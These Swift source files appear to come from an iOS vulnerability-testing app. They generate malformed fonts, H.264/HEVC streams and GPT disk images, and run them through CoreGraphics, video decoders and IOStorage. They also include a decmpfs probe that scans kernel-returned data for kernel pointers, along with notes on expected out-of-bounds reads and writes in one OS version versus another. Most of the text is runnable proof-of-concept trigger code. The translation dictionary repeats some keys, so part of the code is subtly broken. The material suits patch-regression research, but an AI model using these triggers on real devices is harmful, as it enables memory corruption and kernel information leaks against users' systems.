tables.append(("hmtx", [0x02, 0x00, 0x00, 0x00]))
// loca (short format, 2 glyphs)
tables.append(("loca", [0x00, 0x00, 0x00, 0x04]))
// glyf
tables.append(("glyf", [0x00, 0x00, 0x00, 0x00]))
// cmap (format 4, minimal)
var cmap = [UInt8]()
cmap += B.be16(0) + B.be16(1)
cmap += B.be16(3) + B.be16(1) + B.be32(12)
cmap += B.be16(4) + B.be16(24) + B.be16(0)
cmap += B.be16(2) + B.be16(2) + B.be16(0) + B.be16(0)
cmap += B.be16(0xFFFF) + B.be16(0) + B.be16(0)
tables.append(("cmap", cmap))
// GDEF with a LigCaretList whose CaretValue offset runs past the table
var gdef = [UInt8]()
gdef += B.be16(0x0001) + B.be16(0x0000) // version 1.0
gdef += B.be16(0x0000) // glyphClassDefOffset — absent
gdef += B.be16(0x0000) // attachListOffset — absent
gdef += B.be16(0x000C) // ligCaretListOffset → 12
gdef += B.be16(0x0000) // markAttachClassDefOffset — absent
// LigCaretList at 12
gdef += B.be16(0x000C) // coverageOffset → 24
gdef += B.be16(0x0001) // ligGlyphCount
gdef += B.be16(0x0010) // ligGlyphOffsets[0] → 28
gdef += B.be16(0x0000) // pad
// Coverage at 24: format 1, glyph 1
gdef += B.be16(0x0001) + B.be16(0x0001) + B.be16(0x0001)
// LigGlyph at 28
gdef += B.be16(0x0001) // caretCount
gdef += B.be16(0x7F00) // caretValueOffsets[0] — ~32 KB past the table
tables.append(("GDEF", gdef))
// --- assemble
let numTables = UInt16(tables.count)
var header = Data()
header.append(contentsOf: B.be32(0x0001_0000))
header.append(contentsOf: B.be16(numTables))
var searchRange: UInt16 = 1
var entrySelector: UInt16 = 0
while searchRange * 2 <= numTables { searchRange *= 2; entrySelector += 1 }
searchRange *= 16
header.append(contentsOf: B.be16(searchRange))
header.append(contentsOf: B.be16(entrySelector))
header.append(contentsOf: B.be16(numTables * 16 - searchRange))
var body = Data()
var offset = 12 + Int(numTables) * 16
var records = Data()
var blobs = Data()
for (tag, bytes) in tables.sorted(by: { $0.0 < $1.0 }) {
records.append(contentsOf: B.ascii(tag))
records.append(contentsOf: B.be32(0x0001_0000)) // checksum (unchecked by parsers)
records.append(contentsOf: B.be32(UInt32(offset)))
records.append(contentsOf: B.be32(UInt32(bytes.count)))
var padded = bytes
while padded.count % 4 != 0 { padded.append(0) }
blobs.append(contentsOf: padded)
offset += padded.count
}
body.append(records)
body.append(blobs)
var out = Data()
out.append(header)
out.append(body)
return out
}
}
// MARK: - H.264 / HEVC parameter-set probes
enum VideoPayload {
/// An Annex-B H.264 access unit whose slice count far exceeds the decoder plugin's cap.
/// 27.0's `AVD.videodecoder` accepts an unbounded slice count; 27.2 rejects with
/// "too many slices!".
static func avcManySlices(sliceCount: Int = 900, width: Int = 64, height: Int = 64) -> Data {
var out = Data()
out.append(contentsOf: [0, 0, 0, 1])
// SPS
var sps: [UInt8] = [0x67, 0x42, 0x00, 0x1E]
// exp-golomb: seq_parameter_set_id=0, log2_max_frame_num=0, poc_type=0, ...
sps += [0xE8, 0x38, 0x00]
// fake but structurally plausible; the decoder's own error tells us how far it got
sps += [UInt8](repeating: 0x00, count: 8)
out.append(contentsOf: sps)
out.append(contentsOf: [0, 0, 0, 1])
out.append(contentsOf: [0x68, 0xCE, 0x38, 0x80]) // PPS
for i in 0..<sliceCount {
out.append(contentsOf: [0, 0, 0, 1])
let header: [UInt8] = [0x65, UInt8(0x88 | (i & 0x03)), 0x84, 0x00]
out.append(contentsOf: header)
out.append(contentsOf: [UInt8](repeating: 0x00, count: 4))
}
return out
}
/// A multilayer HEVC stream whose layer id is outside the validated range.
static func hevcBadLayerID(layerID: UInt8 = 0x3F) -> Data {
var out = Data()
out.append(contentsOf: [0, 0, 0, 1])
// VPS NAL with a two-byte header carrying an out-of-range layer id
out.append(contentsOf: [0x40, 0x01, layerID, 0x0C, 0x01, 0xFF, 0xFF, 0x01, 0x60])
out.append(contentsOf: [0, 0, 0, 1])
out.append(contentsOf: [0x42, 0x01, layerID, 0x01, 0x60, 0x00])
out.append(contentsOf: [UInt8](repeating: 0x00, count: 16))
return out
}
}
// MARK: - GPT (IOStorageFamily partition-name scan)
enum GPTPayload {
/// A protective-MBR + GPT whose partition-name field declares a 0x48-byte UTF-16 string
/// while the entry only has room for 0x24. 27.0's name scan bound is 0x48 → 72-byte
/// kernel-heap OOB read; 27.2 tightens it to 0x24.
static func oversizedName(entryCount: Int = 4) -> Data {
let sector = 512
var out = Data()
// protective MBR
var mbr = [UInt8](repeating: 0, count: sector)
mbr[446 + 4] = 0xEE
mbr[446 + 5] = 0xFF; mbr[446 + 6] = 0xFF; mbr[446 + 7] = 0xFF
mbr[446 + 8] = 0x01
let totalSectors: UInt32 = 34
mbr[446 + 12] = UInt8(totalSectors & 0xff)
mbr[446 + 13] = UInt8((totalSectors >> 8) & 0xff)
mbr[446 + 14] = UInt8((totalSectors >> 16) & 0xff)
mbr[446 + 15] = UInt8((totalSectors >> 24) & 0xff)
mbr[510] = 0x55; mbr[511] = 0xAA
out.append(contentsOf: mbr)
// primary GPT header
var hdr = [UInt8](repeating: 0, count: sector)
hdr[0] = 0x45; hdr[1] = 0x46; hdr[2] = 0x49; hdr[3] = 0x20
hdr[4] = 0x50; hdr[5] = 0x41; hdr[6] = 0x52; hdr[7] = 0x54
hdr[8] = 0x00; hdr[9] = 0x00; hdr[10] = 0x01; hdr[11] = 0x00
let headerSize: UInt32 = 92
hdr[12] = UInt8(headerSize & 0xff); hdr[13] = 0
hdr[24] = 2 // my LBA
hdr[32] = 33 // alternate LBA
hdr[40] = 2 // first usable
hdr[48] = 32 // last usable
hdr[72] = 2 // entry array LBA
let entries: UInt32 = UInt32(entryCount)
hdr[80] = UInt8(entries & 0xff)
hdr[84] = 128 // entry size
out.append(contentsOf: hdr)
// partition entries
var array = Data()
for i in 0..<entryCount {
var entry = [UInt8](repeating: 0, count: 128)
entry[0] = 0xA2; entry[1] = 0xA0; entry[2] = 0xD0; entry[3] = 0xEB
entry[56] = UInt8(i + 1) // unique partition GUID byte
// name field at +56..+128 is 36 UTF-16 code units; declare a long run
let name = Array("CINDER27-OVERLONG-PARTITION-NAME".utf16)
for (k, unit) in name.enumerated() where 56 + k * 2 + 1 < 128 {
entry[56 + k * 2] = UInt8(unit & 0xff)
entry[56 + k * 2 + 1] = UInt8((unit >> 8) & 0xff)
}
array.append(contentsOf: entry)
}
out.append(array)
while out.count % sector != 0 { out.append(0) }
return out
}
static func describe(_ image: Data) -> [String] {
var lines: [String] = []
guard image.count >= 1024 else { return [tl("镜像过短")] }
let sig = [UInt8](image[512..<520])
guard sig.starts(with: [0x45, 0x46, 0x49, 0x20, 0x50, 0x41, 0x52, 0x54]) else {
return [tl("无 GPT 签名")]
}
let entryLBA = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 72, as: UInt64.self) }
let entryCount = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 80, as: UInt32.self) }
let entrySize = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 84, as: UInt32.self) }
lines.append(tl("GPT 头: 条目表 LBA ") + "\(entryLBA)" + tl(" · ") + "\(entryCount)" + tl(" 项 · 每项 ") + "\(entrySize)" + tl(" B"))
let base = Int(entryLBA) * 512
for i in 0..<Int(entryCount) {
let off = base + i * Int(entrySize)
guard off + 128 <= image.count else { break }
var units: [UInt16] = []
for k in 0..<36 {
let lo = UInt16(image[off + 56 + k * 2])
let hi = UInt16(image[off + 56 + k * 2 + 1])
let unit = lo | (hi << 8)
if unit == 0 { break }
units.append(unit)
}
let name = String(decoding: units, as: UTF16.self)
if !name.isEmpty { lines.append(tl(" 分区 ") + "\(i)" + tl(": ") + "\(name)") }
}
return lines
}
}
+447
View File
@@ -0,0 +1,447 @@
import Foundation
import UIKit
import CoreGraphics
import CoreText
import ImageIO
import ModelIO
import AVFoundation
import CoreHaptics
import Darwin
// MARK: - Shared runners
enum Runners {
// ---- CoreGraphics PDF render (the in-process trigger for the CG family)
@discardableResult
static func renderPDF(_ data: Data, pixels: Int = 256, page: Int = 1) throws -> String {
guard let provider = CGDataProvider(data: data as CFData) else {
throw LabError(message: tl("CGDataProvider 创建失败"))
}
guard let document = CGPDFDocument(provider) else {
throw LabError(message: tl("CGPDFDocument 解析失败(文件被拒绝)"))
}
guard let pg = document.page(at: page) else {
throw LabError(message: tl("PDF 无第 ") + "\(page)" + tl(" 页"))
}
let bytesPerRow = pixels * 4
let buffer = UnsafeMutableRawPointer.allocate(byteCount: bytesPerRow * pixels, alignment: 16)
defer { buffer.deallocate() }
guard let ctx = CGContext(data: buffer, width: pixels, height: pixels,
bitsPerComponent: 8, bytesPerRow: bytesPerRow,
space: CGColorSpaceCreateDeviceRGB(),
bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue) else {
throw LabError(message: tl("CGBitmapContext 创建失败"))
}
ctx.setFillColor(CGColor(red: 1, green: 1, blue: 1, alpha: 1))
ctx.fill(CGRect(x: 0, y: 0, width: pixels, height: pixels))
let start = CFAbsoluteTimeGetCurrent()
// === trigger ===
ctx.drawPDFPage(pg)
let ms = Int((CFAbsoluteTimeGetCurrent() - start) * 1000)
// sample the middle of the bitmap to prove the page actually rasterised
let mid = bytesPerRow * (pixels / 2) + (pixels / 2) * 4
let ptr = buffer.assumingMemoryBound(to: UInt8.self)
let sample = "\(ptr[mid]),\(ptr[mid + 1]),\(ptr[mid + 2]),\(ptr[mid + 3])"
return tl("页面渲染完成 ") + "\(ms)" + tl(" ms;中心像素 RGBA = ") + "\(sample)"
}
// ---- ImageIO decode
struct ImageResult {
var frameCount: Int
var decoded: Bool
var width: Int
var height: Int
var properties: String
var thumbnail: Bool
}
static func decodeImage(_ data: Data, wantThumbnail: Bool = false) throws -> ImageResult {
guard let source = CGImageSourceCreateWithData(data as CFData, nil) else {
throw LabError(message: tl("CGImageSource 拒绝该数据"))
}
let count = CGImageSourceGetCount(source)
var width = 0, height = 0, decoded = false, thumbOK = false
var props = ""
if let dict = CGImageSourceCopyPropertiesAtIndex(source, 0, nil) as? [String: Any] {
width = dict[kCGImagePropertyPixelWidth as String] as? Int ?? 0
height = dict[kCGImagePropertyPixelHeight as String] as? Int ?? 0
props = dict.keys.sorted().prefix(8).joined(separator: ", ")
if let exif = dict[kCGImagePropertyExifDictionary as String] as? [String: Any] {
if let comment = exif[kCGImagePropertyExifUserComment as String] as? Data {
props += " | UserComment(\(comment.count)B)=\(comment.prefix(24).map { String(format: "%02x", $0) }.joined())"
} else if let comment = exif[kCGImagePropertyExifUserComment as String] as? String {
props += " | UserComment=\(comment.prefix(40))"
}
}
if let gps = dict[kCGImagePropertyGPSDictionary as String] as? [String: Any] {
props += " | GPS keys=\(gps.keys.count)"
}
}
if let image = CGImageSourceCreateImageAtIndex(source, 0, nil) {
decoded = true
width = image.width
height = image.height
}
if wantThumbnail {
let opts: [CFString: Any] = [
kCGImageSourceCreateThumbnailFromImageAlways: true,
kCGImageSourceThumbnailMaxPixelSize: 256,
]
thumbOK = CGImageSourceCreateThumbnailAtIndex(source, 0, opts as CFDictionary) != nil
}
return ImageResult(frameCount: count, decoded: decoded, width: width, height: height,
properties: props, thumbnail: thumbOK)
}
// ---- libarchive
enum Archive {
typealias NewFn = @convention(c) () -> UnsafeMutableRawPointer?
typealias Int1Fn = @convention(c) (UnsafeMutableRawPointer?) -> Int32
typealias OpenMemFn = @convention(c) (UnsafeMutableRawPointer?, UnsafeRawPointer?, Int) -> Int32
typealias NextFn = @convention(c) (UnsafeMutableRawPointer?, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32
typealias PathFn = @convention(c) (UnsafeMutableRawPointer?) -> UnsafePointer<CChar>?
typealias SizeFn = @convention(c) (UnsafeMutableRawPointer?) -> Int64
typealias FreeFn = @convention(c) (UnsafeMutableRawPointer?) -> Int32
typealias ExtractFn = @convention(c) (UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, Int32) -> Int32
struct Bindings {
let new: NewFn
let supportFilterAll: Int1Fn
let supportFormatAll: Int1Fn
let openMemory: OpenMemFn
let nextHeader: NextFn
let pathname: PathFn
let size: SizeFn
let free: FreeFn
let extract: ExtractFn
}
static func bind() -> Bindings? {
guard let h = DyLib.shared.handle("/usr/lib/libarchive.2.dylib") else { return nil }
guard let s1 = dlsym(h, "archive_read_new"),
let s2 = dlsym(h, "archive_read_support_filter_all"),
let s3 = dlsym(h, "archive_read_support_format_all"),
let s4 = dlsym(h, "archive_read_open_memory"),
let s5 = dlsym(h, "archive_read_next_header"),
let s6 = dlsym(h, "archive_entry_pathname"),
let s7 = dlsym(h, "archive_entry_size"),
let s8 = dlsym(h, "archive_read_free"),
let s9 = dlsym(h, "archive_read_extract") else { return nil }
return Bindings(
new: unsafeBitCast(s1, to: NewFn.self),
supportFilterAll: unsafeBitCast(s2, to: Int1Fn.self),
supportFormatAll: unsafeBitCast(s3, to: Int1Fn.self),
openMemory: unsafeBitCast(s4, to: OpenMemFn.self),
nextHeader: unsafeBitCast(s5, to: NextFn.self),
pathname: unsafeBitCast(s6, to: PathFn.self),
size: unsafeBitCast(s7, to: SizeFn.self),
free: unsafeBitCast(s8, to: FreeFn.self),
extract: unsafeBitCast(s9, to: ExtractFn.self))
}
static func list(_ data: Data) throws -> (entries: [String], status: String) {
guard let b = bind() else {
throw LabError(message: tl("libarchive.2.dylib 无法 dlopen(沙盒或路径受限)"))
}
guard let handle = b.new() else { throw LabError(message: tl("archive_read_new 失败")) }
defer { _ = b.free(handle) }
_ = b.supportFilterAll(handle)
_ = b.supportFormatAll(handle)
let rc = data.withUnsafeBytes { raw -> Int32 in
guard let base = raw.baseAddress else { return -1 }
return b.openMemory(handle, base, data.count)
}
guard rc == 0 else { throw LabError(message: "archive_read_open_memory rc=\(rc)") }
var entries: [String] = []
var status = ""
while true {
var entry: UnsafeMutableRawPointer?
let r = b.nextHeader(handle, &entry)
if r == 0, let e = entry {
let name = b.pathname(e).map { String(cString: $0) } ?? "<noname>"
entries.append("\(name) (\(b.size(e)) B)")
if entries.count > 64 { break }
} else if r == 1 {
status = "EOF"
break
} else {
status = "next_header rc=\(r)"
break
}
}
return (entries, status)
}
/// Extract every entry into `destination`. Uses archive_read_extract so IPA, DEB,
/// tar and zip all unpack through the same path — no external binary needed.
static func extractAll(_ data: Data, to destination: URL) -> (count: Int, errors: Int, status: String) {
let fm = FileManager.default
try? fm.createDirectory(at: destination, withIntermediateDirectories: true)
guard let b = bind() else { return (0, 0, tl("libarchive 不可用")) }
guard let handle = b.new() else { return (0, 0, tl("archive_read_new 失败")) }
defer { _ = b.free(handle) }
_ = b.supportFilterAll(handle)
_ = b.supportFormatAll(handle)
let rc = data.withUnsafeBytes { raw -> Int32 in
guard let base = raw.baseAddress else { return -1 }
return b.openMemory(handle, base, data.count)
}
guard rc == 0 else { return (0, 0, "open_memory rc=\(rc)") }
let previous = fm.currentDirectoryPath
fm.changeCurrentDirectoryPath(destination.path)
defer { fm.changeCurrentDirectoryPath(previous) }
var count = 0
var errors = 0
while true {
var entry: UnsafeMutableRawPointer?
let r = b.nextHeader(handle, &entry)
if r != 0 { break }
guard let e = entry else { break }
// ARCHIVE_EXTRACT_TIME | PERM | SECURE_SYMLINKS | SECURE_NODOTDOT.
// NOT NO_AUTODIR (0x0400) — archives without explicit directory entries
// need the parents created for them.
let flags: Int32 = 0x0004 | 0x0002 | 0x0100 | 0x0200
if b.extract(handle, e, flags) == 0 { count += 1 } else { errors += 1 }
if count + errors > 20000 { break }
}
return (count, errors, tl("完成"))
}
}
// ---- CoreMedia Dolby Vision RPU parser
static func rpuParse(_ payload: Data, version: inout UInt32, level: inout UInt32) throws -> Int32 {
guard let sym = DyLib.shared.symbol("CMGetDMVersionLevelFromRPU", in: [
"/System/Library/Frameworks/CoreMedia.framework/CoreMedia"
]) else {
throw LabError(message: tl("CMGetDMVersionLevelFromRPU 未导出"))
}
typealias Fn = @convention(c) (UnsafePointer<UInt8>?, Int,
UnsafeMutablePointer<UInt32>?, UnsafeMutablePointer<UInt32>?) -> Int32
let fn = unsafeBitCast(sym, to: Fn.self)
var v: UInt32 = 0
var l: UInt32 = 0
let rc: Int32 = payload.withUnsafeBytes { raw in
guard let base = raw.baseAddress?.assumingMemoryBound(to: UInt8.self) else { return -1 }
return fn(base, payload.count, &v, &l)
}
version = v
level = l
return rc
}
// ---- AppleFSCompression (decmpfs) round trip
struct DecmpfsResult {
var wroteXattr: Bool
var readBack: Int
var kernelPointerHits: Int
var samples: [String]
var note: String
}
static func decmpfsProbe(at url: URL, uncompressed: Int, chunks: Int, producePerChunk: Int) -> DecmpfsResult {
let fm = FileManager.default
try? fm.removeItem(at: url)
fm.createFile(atPath: url.path, contents: Data(repeating: 0x41, count: max(64, uncompressed)))
let payload = Decmpfs.chunkedXattr(uncompressedSize: uncompressed,
chunkCount: chunks,
producePerChunk: producePerChunk)
let ok = payload.withUnsafeBytes { raw -> Bool in
guard let base = raw.baseAddress else { return false }
return setxattr(url.path, "com.apple.decmpfs", base, payload.count, 0, 0) == 0
}
if !ok {
return DecmpfsResult(wroteXattr: false, readBack: 0, kernelPointerHits: 0, samples: [],
note: tl("setxattr 失败 errno=") + "\(errno)")
}
guard let back = try? Data(contentsOf: url) else {
return DecmpfsResult(wroteXattr: true, readBack: 0, kernelPointerHits: 0, samples: [],
note: tl("读取失败 errno=") + "\(errno)")
}
// scan for kernel-space pointers in whatever the kernel handed back
var hits = 0
var samples: [String] = []
let bytes = [UInt8](back)
if bytes.count >= 8 {
var i = 0
while i + 8 <= bytes.count {
var v: UInt64 = 0
for k in 0..<8 { v |= UInt64(bytes[i + k]) << (8 * UInt64(k)) }
if v >= 0xFFFF_FFE0_0000_0000 {
hits += 1
if samples.count < 8 { samples.append(String(format: "0x%016llx @ +0x%x", v, i)) }
}
i += 8
}
}
return DecmpfsResult(wroteXattr: true, readBack: back.count, kernelPointerHits: hits,
samples: samples, note: tl("读取 ") + "\(back.count)" + tl(" 字节"))
}
// ---- FontParser
static func loadFont(_ data: Data) throws -> String {
guard let provider = CGDataProvider(data: data as CFData) else {
throw LabError(message: tl("CGDataProvider 创建失败"))
}
guard let font = CGFont(provider) else {
throw LabError(message: tl("CGFont 拒绝该字体数据"))
}
let name = font.fullName as String? ?? font.postScriptName as String? ?? "<unnamed>"
let glyphCount = font.numberOfGlyphs
let ctFont = CTFontCreateWithGraphicsFont(font, 96, nil, nil)
let pixels = 256
let bytesPerRow = pixels * 4
let buffer = UnsafeMutableRawPointer.allocate(byteCount: bytesPerRow * pixels, alignment: 16)
defer { buffer.deallocate() }
guard let ctx = CGContext(data: buffer, width: pixels, height: pixels,
bitsPerComponent: 8, bytesPerRow: bytesPerRow,
space: CGColorSpaceCreateDeviceRGB(),
bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue) else {
throw LabError(message: tl("上下文创建失败"))
}
// drawing forces the charstring interpreter to run
for g in 1..<min(Int(glyphCount), 8) {
var glyph = CGGlyph(g)
var position = CGPoint(x: 20, y: CGFloat(40 * (g + 1)))
CTFontDrawGlyphs(ctFont, &glyph, &position, 1, ctx)
}
return tl("字体加载成功 name=") + "\(name)" + tl(" glyphs=") + "\(glyphCount)" + tl(",已绘制 ") + "\(min(Int(glyphCount), 8) - 1)" + tl(" 个字形")
}
// ---- Model I/O (libusd_ms)
static func loadUSDA(at url: URL) throws -> String {
let start = CFAbsoluteTimeGetCurrent()
let asset = MDLAsset(url: url)
let ms = Int((CFAbsoluteTimeGetCurrent() - start) * 1000)
return tl("MDLAsset 载入完成 ") + "\(ms)" + tl(" ms,对象数 ") + "\(asset.count)"
}
// ---- CoreHaptics / AVHaptic
static func hapticCustomAudio(frameCount: Int, declaredBytes: Int) -> String {
var report: [String] = []
let engine: CHHapticEngine
do { engine = try CHHapticEngine() } catch {
return tl("CHHapticEngine 初始化失败: ") + "\(error.localizedDescription)"
}
do {
try engine.start()
report.append(tl("CHHapticEngine 启动成功"))
} catch {
return tl("引擎启动失败: ") + "\(error.localizedDescription)"
}
// Build a mono 16-bit WAV with exactly `frameCount` samples and register it as an
// audio resource. The declared byte count is what the server is asked to trust.
let sampleRate = 48000
let frames = max(1, frameCount)
var wav: [UInt8] = []
wav += B.ascii("RIFF")
wav += B.le32(UInt32(36 + frames * 2))
wav += B.ascii("WAVEfmt ")
wav += B.le32(16) + B.le16(1) + B.le16(1)
wav += B.le32(UInt32(sampleRate)) + B.le32(UInt32(sampleRate * 2))
wav += B.le16(2) + B.le16(16)
wav += B.ascii("data") + B.le32(UInt32(frames * 2))
wav += [UInt8](repeating: 0, count: frames * 2)
let url = FileManager.default.temporaryDirectory.appendingPathComponent("cinder_haptic.wav")
try? Data(wav).write(to: url)
var resourceID: CHHapticAudioResourceID = 0
do {
resourceID = try engine.registerAudioResource(url, options: [AnyHashable: Any]())
} catch {
report.append(tl("registerAudioResource 失败: ") + "\(error.localizedDescription)")
engine.stop()
return report.joined(separator: "\n")
}
report.append(tl("音频资源 id=") + "\(resourceID)" + tl(" frames=") + "\(frames)" + tl(" declaredBytes=") + "\(declaredBytes)")
do {
let event = CHHapticEvent(audioResourceID: resourceID, parameters: [],
relativeTime: 0, duration: 0.25)
let pattern = try CHHapticPattern(events: [event], parameters: [])
let player = try engine.makePlayer(with: pattern)
try player.start(atTime: 0)
report.append(tl("audioCustom 事件已投递"))
Thread.sleep(forTimeInterval: 0.4)
engine.stop()
report.append(tl("引擎已停止"))
} catch {
report.append(tl("事件投递失败: ") + "\(error.localizedDescription)")
engine.stop()
}
return report.joined(separator: "\n")
}
// ---- AudioCodecs probes
static func audioConverter(format: UInt32, sampleRate: Double, channels: UInt32) -> String {
var inFormat = AudioStreamBasicDescription(mSampleRate: sampleRate,
mFormatID: format,
mFormatFlags: 0,
mBytesPerPacket: 0,
mFramesPerPacket: 1,
mBytesPerFrame: 0,
mChannelsPerFrame: channels,
mBitsPerChannel: 0,
mReserved: 0)
var outFormat = AudioStreamBasicDescription(mSampleRate: sampleRate,
mFormatID: kAudioFormatLinearPCM,
mFormatFlags: kAudioFormatFlagIsFloat | kAudioFormatFlagIsPacked,
mBytesPerPacket: 4,
mFramesPerPacket: 1,
mBytesPerFrame: 4,
mChannelsPerFrame: 1,
mBitsPerChannel: 32,
mReserved: 0)
var converter: AudioConverterRef?
let status = AudioConverterNew(&inFormat, &outFormat, &converter)
if let c = converter { AudioConverterDispose(c) }
return "AudioConverterNew(\(fourCC(format))) = \(status)"
}
static func fourCC(_ v: UInt32) -> String {
let bytes = [UInt8((v >> 24) & 0xff), UInt8((v >> 16) & 0xff), UInt8((v >> 8) & 0xff), UInt8(v & 0xff)]
let s = bytes.map { ($0 >= 0x20 && $0 < 0x7f) ? String(UnicodeScalar($0)) : "?" }.joined()
return "'\(s)'"
}
// ---- IOKit / private framework probes
static func dlopenProbe(_ path: String, symbols: [String]) -> String {
guard let handle = dlopen(path, RTLD_NOW) else {
let err = dlerror().map { String(cString: $0) } ?? tl("dlopen 失败")
return "✗ \(path)\n \(err)"
}
var found: [String] = []
var missing: [String] = []
for s in symbols {
if dlsym(handle, s) != nil { found.append(s) } else { missing.append(s) }
}
var out = "✓ \(path)"
if !found.isEmpty { out += "\n resolved: " + found.joined(separator: ", ") }
if !missing.isEmpty { out += "\n missing: " + missing.joined(separator: ", ") }
return out
}
}
+657
View File
@@ -0,0 +1,657 @@
import Foundation
/// Runtime-output translation.
///
/// Chinese literals in engine and UI code are the source of truth and stay where they are.
/// This table maps each one to its English rendering. In Chinese the input passes through
/// untouched; in English an unmapped string also passes through, so an ASCII name such as
/// "Documents" needs no entry.
///
/// Keys are the exact literal text, including any leading/trailing spaces that were part
/// of the original string.
func tl(_ zh: String) -> String {
guard Lang.resolved == .en else { return zh }
return RuntimeText.map[zh] ?? zh
}
enum RuntimeText {
// Filled by the localization pass. Every key is a Chinese literal that appears in the
// source; every value is its English rendering.
static let map: [String: String] = [
"\n\n种子 ": "\n\nseed ",
"\n(达到资源预算,提前收敛 —— 这是刻意的,不是失败)": "\\n(resource budget reached, converged early — deliberate, not a failure)",
"\n内核未返回任何错误码": "\nkernel returned no error codes",
"\n属性: ": "\nattributes: ",
"\n状态: ": "\nstatus: ",
"\n若 27.0 未钳制,这些 0x41 来自越界读到的堆内容;27.2 会直接丢弃越界标记。": "\\nIf 27.0 does not clamp, these 0x41 bytes come from the out-of-bounds heap read; 27.2 discards the out-of-range marker outright.",
"\n负载 ": "\npayload ",
"\n通知注册被拒 ": "\nnotification registration refused ",
" 直接读 errno=": " direct read errno=",
" 落在当前容器内: ": " inside current container: ",
" 候选: ": " candidates: ",
" 分区 ": " partition ",
" 命中: ": " hits: ",
" 未读到内容 — ": " nothing read — ",
" 直接读 errno=": " direct read errno=",
" 直接读也成功 ": " direct read also succeeded ",
" B · 4 个条目 · 名字域 36 单元 / 72 字节": " B · 4 entries · name field 36 units / 72 bytes",
" B · 64 位=": " B · 64-bit=",
" B · 900 切片": " B · 900 slices",
" B · 解包 ": " B · unpacked ",
" B — 该平台未对该路径施加沙盒,本项不构成证据": " B — no sandbox on this path on this platform, not evidence",
" B — 该平台未施加沙盒": " B — no sandbox on this platform",
" B — 边界已被跨越": " B — boundary crossed",
" B → 产出 ": " B → output ",
" B 的 decmpfs 属性": " B decmpfs attribute",
" B(ZipWriter 产出,stored 条目)": " B (ZipWriter output, stored entries)",
" B,block-id 1 × 6(容量 4)": " B, block-id 1 × 6 (capacity 4)",
" B,单个 charstring 连续推入 300 个操作数后 endchar。\n": " B, one charstring pushing 300 consecutive operands then endchar.\\n",
" B,可用 ": " B available ",
" ms,对象数 ": " ms, objects ",
" ms;中心像素 RGBA = ": " ms; centre pixel RGBA = ",
" · 加密=": " · encrypted=",
" · 受阻 ": " · blocked ",
" · 尺寸 ": " · size ",
" · 层 ID 0x3F": " · layer id 0x3F",
" · 帧数 ": " · frames ",
" · 库 ": " · lib ",
" · 无沙盒 ": " · no sandbox ",
" · 真实写探针=": " · real write probe=",
" ← 两者不一致,说明 access() 不可信": " ← mismatch, so access() is not trustworthy",
" 一致": " consistent",
" 一致 / ": " consistent / ",
" 不一致": " inconsistent",
" 不存在": " absent",
" 个二进制": " binaries",
" 个内核指针候选": " kernel pointer candidates",
" 个可写": " writable",
" 个可读 · ": " readable · ",
" 个字形": " glyphs",
" 个属性": " attributes",
" 个文件": " files",
" 个文件 → ": " files → ",
" 个文件逐字节一致": " files byte-identical",
" 个文件,共 ": " files, ",
" 个条目": " entries",
" 个条目 · mode ": " entries · mode ",
" 个目录读写正常": " directories read/write ok",
" 个长度存活": " lengths survived",
" 个(mode ": " (mode ",
" 仍不可用: ": " still unusable: ",
" 可开 · ": " openable · ",
" 命中: ": " hits: ",
" 处": " sites",
" 处 @ ": " sites @ ",
" 处 · 偏移一致=": " sites · offsets match=",
" 处 · 旧模式残留 ": " sites · old mode residue ",
" 处 → 新模式 ": " sites → new mode ",
" 处: ": " sites: ",
" 处并已保存(备份 ": " sites and saved (backup ",
" 处(应为 0)": " sites (expected 0)",
" 字节": " bytes",
" 字节 0x41": " bytes 0x41",
" 存在且": " present and ",
" 存在但被拒 · ": " present but refused · ",
" 存活 — ": " survived — ",
" 已用 / 预算 ": " used / budget ",
" 张表": " tables",
" 是文件而不是目录 —— 跳过": " is a file, not a directory — skipped",
" 条": " items",
" 条 · type=": " items · type=",
" 条目": " entries",
" 条目 / ": " entries / ",
" 条目 · ": " entries · ",
" 核": " cores",
" 次 —— 该平台不允许对自身端口注册通知,": " times — this platform does not allow notification registration on own ports, ",
" 次操作,无异常返回": " operations, no abnormal returns",
" 次端口分配与回收,": " port allocations and releases, ",
" 段标记填充字节": " segment marker padding bytes",
" 目录读写正常": " directory read/write ok",
" 类错误码": " error classes",
" 行": " rows",
" 被拒绝 — ": " refused — ",
" 解析出 ": " parsed ",
" 连续 ": " consecutive ",
" 页": " pages",
" 项": " entries",
" 项 · ": " entries · ",
" 项 · 每项 ": " entries · each ",
" 项(含 ../ 路径)→ 遏制必须由调用方负责": " entries (with ../ paths) → containment is the caller's job",
"\")": "\")",
") · 原始大小 ": ") · raw size ",
"),经链接读到 ": "), via link read ",
"-12203 = 存在但被拒": "-12203 = present but refused",
"-17913 = 不存在": "-17913 = absent",
"0x 前缀写法: ": "0x prefix form: ",
"1. 不存在的深层目录自动创建: ": "1. missing deep directory auto-created: ",
"2. Container.write 自动建父目录: 通过(读回 \"": "2. Container.write auto-creates parents: passed (read back \"",
"2. Container.write: 失败 ": "2. Container.write: failed ",
"2000 层嵌套": "2000 nesting levels",
"27.0 扫描边界 0x48 = 72 B": "27.0 scan bound 0x48 = 72 B",
"27.0 期望:push 路径无计数检查,操作数栈越界。\n": "27.0 expectation: the push path has no count check, the operand stack overruns.\\n",
"27.0 期望:分配截断 → 转换循环越界写。27.2 期望:_TIFFCheckMalloc_type 拒绝。": "27.0 expectation: allocation truncation → the conversion loop writes out of bounds. 27.2 expectation: _TIFFCheckMalloc_type refuses.",
"27.0 期望:切片上限未检查 → 插件内越界。27.2 期望:\"too many slices!\"。": "27.0 expectation: the slice cap is unchecked → overrun inside the plugin. 27.2 expectation: \"too many slices!\".",
"27.2 收紧到 0x24 = 36 B": "27.2 tightened to 0x24 = 36 B",
"27.2 期望:Push/Pop 两道栈保护在解释前拒绝该字体。\n": "27.2 expectation: Push/Pop stack guards reject the font before interpretation.\\n",
"3 次解码指纹": "3-decode fingerprint",
"3. 旧 UUID 路径重挂: ": "3. old UUID path remount: ",
"32 轮完成,进程存活": "32 rounds complete, process alive",
"4. isWritableFile(容器根)=": "4. isWritableFile(container root)=",
"64 × 4 KB 随机内容": "64 × 4 KB random content",
": 不可见": ": not visible",
